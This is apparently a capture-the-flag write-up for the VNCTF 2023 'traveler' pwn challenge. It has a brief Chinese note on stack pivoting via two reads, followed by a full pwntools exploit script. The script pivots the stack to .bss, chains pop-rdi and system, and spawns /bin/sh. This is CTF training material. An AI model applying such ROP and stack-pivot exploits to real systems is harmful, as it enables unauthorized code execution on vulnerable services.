vnctf2023 traveler

利用两次read，达成栈迁移，注意要迁移到更高的栈，并且利用read写更高的栈，完成栈溢出。注意调试，leave后rsp会+8。

from pwn import *

p = process('./traveler')
#p = remote('node4.buuoj.cn',29186)
elf = ELF('./traveler')
context(arch="amd64",os="linux", log_level="debug")

lv = 0x0000000000401253
msg = 0x4040A0
bss = 0x404d00
rdi = p64(0x00000000004012c3)
ret = p64(0x000000000040101a)
main = elf.sym['main']
sys = elf.plt['system']
read = elf.plt['read']
newread = 0x401216

#gdb.attach(p)

payload = b'a'*31 + b'p' + p64(bss+0x20) + p64(newread)
payload2 = p64(0)*5
p.recvuntil("u?\n")
p.send(payload)
p.recvuntil("life?\n")
p.send(payload2)
p3 = rdi + p64(msg) + p64(sys) + p64(0) + p64(bss-0x08) + p64(lv)
p.send(p3)
p.recvuntil("life?\n")
p.send(b'/bin/sh\x00')
p.interactive()